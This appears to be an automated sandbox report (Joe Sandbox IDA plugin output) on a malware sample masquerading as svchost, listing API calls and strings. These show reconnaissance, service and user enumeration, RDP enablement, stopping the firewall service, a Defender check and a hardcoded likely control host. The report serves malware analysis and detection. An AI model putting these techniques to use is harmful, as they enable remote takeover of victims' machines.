Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ChangeCloseCreateEventFindNotificationObjectSingleWait_beginthreadex
String ID:
API String ID: 3885598390-0
Opcode ID: ab6b4d70b4c09addbe0c64716575a6b1aa36de717ea85b7c15d0ebc7726d15cd
Instruction ID: 98213a1cd4d25268f386a69eaa73c997c2e275d023ef8f40f28af937e429e6ab
Opcode Fuzzy Hash: ab6b4d70b4c09addbe0c64716575a6b1aa36de717ea85b7c15d0ebc7726d15cd
Instruction Fuzzy Hash: 79011A74608341AFD300DF689C81F6BBBE4BBCC714F144A4CF998A7390C274D9048B96

Function 00401820 Relevance: 3.1, APIs: 2, Instructions: 68
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 0040187E
recv.WS2_32(?,?,00002000,00000000), ref: 004018B2

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: recvselect
String ID:
API String ID: 741273618-0
Opcode ID: 62d81e070fb27eac6000f90dd9840cbbfb7fbc7140e17a867cef536e004bd029
Instruction ID: 5d486c777f29c7c72ed20e4040bf1e58f24b0586f9c35f61b9cb48da5be69b34
Opcode Fuzzy Hash: 62d81e070fb27eac6000f90dd9840cbbfb7fbc7140e17a867cef536e004bd029
Instruction Fuzzy Hash: 0311067224030017D714EAA8DC95BEB73D4AF84320F004A3EFA14E72E1DB399949C36A

Function 00418860 Relevance: 1.3, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 0041886A

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e465ffaf49cae0dfacb8c25a8c36ec9af7936667b32bb0bf723bba67081bfa3f
Instruction ID: bd4f06fcb1ba23187454ec4e0a82da77b0598dfa63caf01823f5a0491d452a28
Opcode Fuzzy Hash: e465ffaf49cae0dfacb8c25a8c36ec9af7936667b32bb0bf723bba67081bfa3f
Instruction Fuzzy Hash: A9B09275904201ABC604CB94E98980ABBA8AA90200F80C864F049C6020C234E1188A0A

Function 00418880 Relevance: 1.3, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT(?), ref: 00418885

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d2e3452179c4f7a50efd60a801616d05f140ae6f4a62a8ea8b54ea13c3986c17
Instruction ID: 88161f94d69cb5bb9f713f94d0d8a36e136521981cc807f2fc5092364e091d51
Opcode Fuzzy Hash: d2e3452179c4f7a50efd60a801616d05f140ae6f4a62a8ea8b54ea13c3986c17
Instruction Fuzzy Hash: DCA00475545101D7C50457D4DC4C4C57754D7441537104555F147D1470C774D4505715

Non-executed Functions

Function 00413550 Relevance: 147.4, APIs: 29, Strings: 55, Instructions: 435registryserviceCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00413583
sprintf.MSVCRT ref: 0041363D
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,?,?,?,?,00000000), ref: 00413684
RegQueryValueExA.ADVAPI32 ref: 004136B2
RegCloseKey.ADVAPI32(?), ref: 004136BD
GetTickCount.KERNEL32 ref: 004136ED
sprintf.MSVCRT ref: 0041373C
GetUserNameA.ADVAPI32(?,?), ref: 00413782
atol.MSVCRT(00000000), ref: 0041378E
atol.MSVCRT(00000000,00000000), ref: 0041379F
GetDriveTypeA.KERNEL32 ref: 004137CD
GetDiskFreeSpaceExA.KERNEL32(?,?,?,?), ref: 004137EC
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,?,?), ref: 0041384E
OpenServiceA.ADVAPI32(00000000,TermService,000F01FF,?,?,?), ref: 0041386F
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041388E
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041389F
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004138A2
wsprintfA.USER32 ref: 00413B55

Strings

v, xrefs: 004139E5
BB, xrefs: 00413595
%dDay %dHour %dMin, xrefs: 00413736
P, xrefs: 00413A24
c, xrefs: 00413A1A
QueryServiceStatus Error!, xrefs: 004138A4
T, xrefs: 00413988
TermService, xrefs: 00413869
termsrv_t, xrefs: 00413A50
\, xrefs: 00413997
v, xrefs: 00413A10
2003, xrefs: 004135C2
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 00413647
Find CPU infomation error, xrefs: 004136C5
Windows %s SP%d, xrefs: 00413637
P;B, xrefs: 0041361A
i, xrefs: 00413A15
c, xrefs: 004139EF
\, xrefs: 004139DC
n, xrefs: 004139AE
SYSTEM\CurrentControlSet\Control\Terminal Server, xrefs: 004138D6
ProcessorNameString, xrefs: 004136A4
T;B, xrefs: 00413600
\termsrv_t.dll, xrefs: 00413A8D
M, xrefs: 00413992
i, xrefs: 004139EA
2012, xrefs: 00413623, 00413636
\, xrefs: 00413A1F
\, xrefs: 004139F9
C, xrefs: 0041399C
u, xrefs: 004139A1
Vista, xrefs: 004135E3
RDP-Tcp, xrefs: 0041382C
ServiceDll, xrefs: 00413974
o, xrefs: 004139BC
C, xrefs: 004139B7
OpenSCManager Error!, xrefs: 0041385A
2000, xrefs: 004135AA
SeDebugPrivilege, xrefs: 00413A9B, 00413B1C
Win XP, xrefs: 00413904
n, xrefs: 004139C1
T, xrefs: 004139FE
E, xrefs: 0041398D
OpenService Error!, xrefs: 0041387B
s, xrefs: 004139F4
\, xrefs: 004137C3
s, xrefs: 00413A3A
l, xrefs: 004139D3
m, xrefs: 00413A07
o, xrefs: 004139CE
2008, xrefs: 004135EA
Y, xrefs: 00413983
2008R2, xrefs: 00413607
fDenyTSConnections, xrefs: 004138D1
m, xrefs: 00413A2D

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Service$CloseOpen$HandleQueryatolsprintf$CountDiskDriveFreeManagerNameSpaceStatusTickTypeUserValueVersionwsprintf
String ID: %dDay %dHour %dMin$2000$2003$2008$2008R2$2012$C$C$E$Find CPU infomation error$HARDWARE\DESCRIPTION\System\CentralProcessor\0$M$OpenSCManager Error!$OpenService Error!$P$P;B$ProcessorNameString$QueryServiceStatus Error!$RDP-Tcp$SYSTEM\CurrentControlSet\Control\Terminal Server$SeDebugPrivilege$ServiceDll$T$T$T;B$TermService$Vista$Win XP$Windows %s SP%d$Y$\$\$\$\$\$\termsrv_t.dll$c$c$fDenyTSConnections$i$i$l$m$m$n$n$o$o$s$s$termsrv_t$u$v$v$BB
API String ID: 158309192-1381625545
Opcode ID: 61fd7f7f1d64a3821e984e60c2dd4b356845b4a073faaf2373fbd2ec04288ee3
Instruction ID: 8205e4237d50e93a960413f9bba9b334e5a5e8ad554d89085792fbdca2671367
Opcode Fuzzy Hash: 61fd7f7f1d64a3821e984e60c2dd4b356845b4a073faaf2373fbd2ec04288ee3
Instruction Fuzzy Hash: 7DF1353160C3C0AAD321CB649C45BEBBFE5AFE1705F44485EF58947382D6B98A48C76B

Function 0040D5E0 Relevance: 59.9, APIs: 32, Strings: 2, Instructions: 375stringservicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000035,00000035,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88), ref: 0040D607
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000003,00000000,?,?,00002000,00000000), ref: 0040D62F
LocalAlloc.KERNEL32(00000040,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D63E
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000003,00000000,?,?,00002000,00000000), ref: 0040D659
LocalAlloc.KERNEL32(00000040,00000400,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D662
OpenServiceA.ADVAPI32(?,00000800,000F01FF,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040D6B5
QueryServiceConfig2A.ADVAPI32(00000000,00000001,?,00002000,00002000,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88), ref: 0040D6DC
lstrcpyA.KERNEL32(?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D706
lstrcpyA.KERNEL32(?,00423DB0,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D77D
QueryServiceConfigA.ADVAPI32(?,?,00002000,00002000,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF), ref: 0040D7BD
lstrcpyA.KERNEL32(?,00423DB0,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D836
LocalSize.KERNEL32(00000000), ref: 0040D865
LocalReAlloc.KERNEL32(00000000,00002001,00000042,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040D873
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D87F
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D8A4
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D8BA
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D8DE
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D8F1
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D90F
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D925
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D949
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D95F
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D983
lstrlenA.KERNEL32(QB,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D996
lstrlenA.KERNEL32(QB,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D9B0
lstrlenA.KERNEL32(?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D9C5
lstrlenA.KERNEL32(?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040D9E3
lstrlenA.KERNEL32(?,?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040D9F9
lstrlenA.KERNEL32(?,?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040DA1D
CloseServiceHandle.ADVAPI32(?,?,?,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040DA30
CloseServiceHandle.ADVAPI32(00000000,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863,?), ref: 0040DA5B
LocalReAlloc.KERNEL32(00000000,00000001,00000042,?,?,0040D349,?,00000035,0040D24C,?,?,00000035,00000000,0041BC88,000000FF,00408863), ref: 0040DA69

Strings

QB, xrefs: 0040D989, 0040D98D
Boot, xrefs: 0040D7FC

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$LocalService$Alloc$lstrcpy$CloseEnumHandleOpenQueryServicesStatus$ConfigConfig2ManagerSize
String ID: Boot$QB
API String ID: 3094984492-1857019833
Opcode ID: 7bdb34b261ed6d7298d7ca0ca04c206fed5ae67f417975c3baa1eab347d74354
Instruction ID: f4c2f51f0109dbcd15b760c547c6935d13549c68e74e242ab268d69da0caeddc
Opcode Fuzzy Hash: 7bdb34b261ed6d7298d7ca0ca04c206fed5ae67f417975c3baa1eab347d74354
Instruction Fuzzy Hash: 5FD19271648305AFC724DF64DC91EABB7E5FBC8704F40892DF54AA3280DB78A909CB56

Function 0040E410 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 185stringnetworkCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0040E44A

Part of subcall function 0040E3C0: LoadLibraryA.KERNEL32(ntdll.dll,00000000,00000000,0040E46D,?,?,?), ref: 0040E3C9
Part of subcall function 0040E3C0: GetProcAddress.KERNEL32(00000000,RtlGetNtVersionNumbers), ref: 0040E3DB
Part of subcall function 0040E3C0: FreeLibrary.KERNEL32(00000000), ref: 0040E405

gethostname.WS2_32(?,00000100), ref: 0040E47D

Part of subcall function 0040E1D0: wsprintfA.USER32 ref: 0040E218
Part of subcall function 0040E1D0: lstrlenA.KERNEL32(?), ref: 0040E244
Part of subcall function 0040E1D0: lstrlenA.KERNEL32(?), ref: 0040E26B

Part of subcall function 0040E370: GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process,?,?,0040E4B9), ref: 0040E37C
Part of subcall function 0040E370: GetProcAddress.KERNEL32(00000000), ref: 0040E383
Part of subcall function 0040E370: GetCurrentProcess.KERNEL32(0040E4B9,?,0040E4B9), ref: 0040E39A

GetTickCount.KERNEL32 ref: 0040E4C5
wsprintfA.USER32 ref: 0040E4EB
wsprintfA.USER32 ref: 0040E512
wsprintfA.USER32 ref: 0040E537
wsprintfA.USER32 ref: 0040E5A4

Part of subcall function 0040E280: wsprintfA.USER32 ref: 0040E304
Part of subcall function 0040E280: lstrlenA.KERNEL32(?), ref: 0040E330
Part of subcall function 0040E280: lstrlenA.KERNEL32(?), ref: 0040E357

getsockname.WS2_32 ref: 0040E5EE

Part of subcall function 0040E050: RegOpenKeyA.ADVAPI32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000004), ref: 0040E06F
Part of subcall function 0040E050: RegQueryValueExA.ADVAPI32(?,~MHz,00000000,?,?,?,?,www.362-com.com,?,?), ref: 0040E090
Part of subcall function 0040E050: RegCloseKey.ADVAPI32(?,?,www.362-com.com,?,?), ref: 0040E09B

GetSystemInfo.KERNEL32(?), ref: 0040E610
wsprintfA.USER32 ref: 0040E628
GlobalMemoryStatus.KERNEL32(?), ref: 0040E63A
lstrlenA.KERNEL32(?,00000000), ref: 0040E681

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

Part of subcall function 00401B80: _ftol.MSVCRT ref: 00401BBB
Part of subcall function 00401B80: ??2@YAPAXI@Z.MSVCRT ref: 00401BC5

Strings

, xrefs: 0040E631
SYSTEM\CurrentControlSet\Services\MsMpEng, xrefs: 0040E699
f, xrefs: 0040E42F
d, xrefs: 0040E425
www.362-com.com, xrefs: 0040E5E5
ConnectGroup, xrefs: 0040E694

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: wsprintf$lstrlen$AddressLibraryOpenProc$??2@CloseCountCurrentFreeGlobalHandleInfoLoadMemoryModuleProcessQueryStatusSystemTickValueVersion_ftolgethostnamegetsockname
String ID: $ConnectGroup$SYSTEM\CurrentControlSet\Services\MsMpEng$d$f$www.362-com.com
API String ID: 2119562866-847635532
Opcode ID: 66c934c4229e393b2b28c790316c8421fd7a06271d460e0c069e57be10a477d6
Instruction ID: 87dc481bb0386d9e86a65b6fd8fd1598cb8bbd79ce7fc4d994eae061226ad1ce
Opcode Fuzzy Hash: 66c934c4229e393b2b28c790316c8421fd7a06271d460e0c069e57be10a477d6
Instruction Fuzzy Hash: A5618E7254C380AFD325CB64D885BDBBBF9ABD9300F448D1EF98993241DA749608CB67

Function 00410680 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 186stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

NetUserEnum.NETAPI32(00000000,00000000,00000002,?,000000FF,?,?,?,00000000,00000000), ref: 004106CB
wcstombs.MSVCRT ref: 0041070E
NetApiBufferFree.NETAPI32(000000FF,00000000,00000000,00000002,?,000000FF,?,?,?,00000000,00000000), ref: 0041072B
NetApiBufferFree.NETAPI32(000000FF,00000000,00000000,00000002,?,000000FF,?,?,?,00000000,00000000), ref: 00410747
LocalAlloc.KERNEL32(00000040,00000400,00000000,00000000,00000002,?,000000FF,?,?,?,00000000,00000000), ref: 00410768
lstrlenA.KERNEL32(0042663C), ref: 004107D8
lstrlenA.KERNEL32(0042663C), ref: 004107F9
lstrlenA.KERNEL32(?), ref: 0041080C
lstrlenA.KERNEL32(?), ref: 0041082E
lstrlenA.KERNEL32(?), ref: 00410841
lstrlenA.KERNEL32(?), ref: 0041085F
LocalReAlloc.KERNEL32(00000000,00000001,00000042), ref: 00410893

Strings

SeDebugPrivilege, xrefs: 0041068C
<fB, xrefs: 00410795
H@B, xrefs: 004107BB
@@B, xrefs: 00410834, 00410838

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$AllocBufferFreeLocalProcess$CurrentEnumOpenTokenUserwcstombs
String ID: <fB$@@B$H@B$SeDebugPrivilege
API String ID: 230653022-2600903697
Opcode ID: 9f7a17a9b02b1d8071aea80e5be26c10e1057852b90540bc1e88b64a960d228a
Instruction ID: d69f3d418cf2ec43905e1ab60ec8b57ca0232f24a271269c6bf73e1a2c2705a4
Opcode Fuzzy Hash: 9f7a17a9b02b1d8071aea80e5be26c10e1057852b90540bc1e88b64a960d228a
Instruction Fuzzy Hash: 1051C2716043059BC314DF18E8819ABB7E5FBC8704F40492EF59193281DB79A98ACB9A

Function 00407A00 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,?,?), ref: 00407A3A
wsprintfA.USER32 ref: 00407A73
FindFirstFileA.KERNEL32(?,?,?,?,?,?), ref: 00407A85
wsprintfA.USER32 ref: 00407AC4
wsprintfA.USER32 ref: 00407AE7
??2@YAPAXI@Z.MSVCRT ref: 00407B5C
??3@YAXPAX@Z.MSVCRT ref: 00407BC5
FindNextFileA.KERNEL32(?,?), ref: 00407BF4
FindClose.KERNEL32(?), ref: 00407C07

Strings

., xrefs: 00407A9E
QB, xrefs: 00407A5A, 00407A64, 00407AB3
%s%s%s, xrefs: 00407AB5
%s%s*.*, xrefs: 00407A6D

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Findwsprintf$File$??2@??3@CloseFirstNextlstrlen
String ID: %s%s%s$%s%s*.*$.$QB
API String ID: 862180513-181266325
Opcode ID: bbf24ac7bb929e97a0c88c2038b04cc4f46c3cf121a2e2847b6683130e90058e
Instruction ID: 147eac6f0a4f73e03be255e659cd9a4a7c2419ae8192cc2f3231da25ec20d28c
Opcode Fuzzy Hash: bbf24ac7bb929e97a0c88c2038b04cc4f46c3cf121a2e2847b6683130e90058e
Instruction Fuzzy Hash: 5E51C6B154C3409FC324CF24C884AABBBE4BB84704F44492EE59967391DB39FA45CB5B

Function 004075B0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 71fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004075D7
FindFirstFileA.KERNEL32(?,?), ref: 004075E9
wsprintfA.USER32 ref: 00407626
FindNextFileA.KERNEL32(00000000,?), ref: 0040765D
FindClose.KERNEL32(00000000), ref: 00407668
RemoveDirectoryA.KERNEL32(?), ref: 0040766F

Strings

., xrefs: 00407605
%s\*.*, xrefs: 004075CF
%s\%s, xrefs: 00407617

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Find$Filewsprintf$CloseDirectoryFirstNextRemove
String ID: %s\%s$%s\*.*$.
API String ID: 2470771279-1471744235
Opcode ID: 1b28164d196db4b6d0c421f5493e54d7d16e20fba7fc4c3837e1d048c93c9451
Instruction ID: 8f64c511c0e3b7e32d253447456592f1d7db8bff42c9c0282a01fcacba16b235
Opcode Fuzzy Hash: 1b28164d196db4b6d0c421f5493e54d7d16e20fba7fc4c3837e1d048c93c9451
Instruction Fuzzy Hash: 5211A5715483447BD320EB64EC88EFB77ACEBC5325F444C2AF95582181E779A5088BAB

Function 00407220 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 130stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32 ref: 00407241
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,00000104), ref: 00407297
SHGetFileInfoA.SHELL32(?,00000080,?,00000160,00000410), ref: 004072B5
lstrlenA.KERNEL32(?), ref: 004072C9
lstrlenA.KERNEL32(?), ref: 004072D7
GetDiskFreeSpaceExA.KERNEL32(00000001,?,?,00000000), ref: 004072F6
GetDriveTypeA.KERNEL32(?), ref: 0040733D
lstrlenA.KERNEL32(?), ref: 004073A7

Strings

g, xrefs: 00407239

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Drive$DiskFileFreeInfoInformationLogicalSpaceStringsTypeVolume
String ID: g
API String ID: 2496086942-30677878
Opcode ID: 057f1e5ba004e3868dd5932a66ddd08093e27faf1e23514f0f02ef3e828d4c5a
Instruction ID: 41279e4d2db384fb3676b524e6f829b1510f8f690035f18d5f8bad0519275406
Opcode Fuzzy Hash: 057f1e5ba004e3868dd5932a66ddd08093e27faf1e23514f0f02ef3e828d4c5a
Instruction Fuzzy Hash: 5A41D1705483499FD714CF24D840AEFBBE9ABC8304F04892DF98997251D774AA09CBA6

Function 00411A50 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42serviceCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00411A6D
OpenServiceA.ADVAPI32(00000000,sharedaccess,000F01FF), ref: 00411A80
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A8E
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411AA3
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AB0
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AB3

Strings

SeDebugPrivilege, xrefs: 00411A57, 00411AB7
sharedaccess, xrefs: 00411A7A

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Service$Open$CloseHandleProcess$ControlCurrentManagerQueryStatusToken
String ID: SeDebugPrivilege$sharedaccess
API String ID: 3393504433-1846105483
Opcode ID: f04502da7d8028d1cb4be7cadb57bd900792a8405a86b27f0af1f03eb618dcc5
Instruction ID: 950de9a43030c5cec0478f507f896e1f0173cfa28c8f75c8103c7853c1670cea
Opcode Fuzzy Hash: f04502da7d8028d1cb4be7cadb57bd900792a8405a86b27f0af1f03eb618dcc5
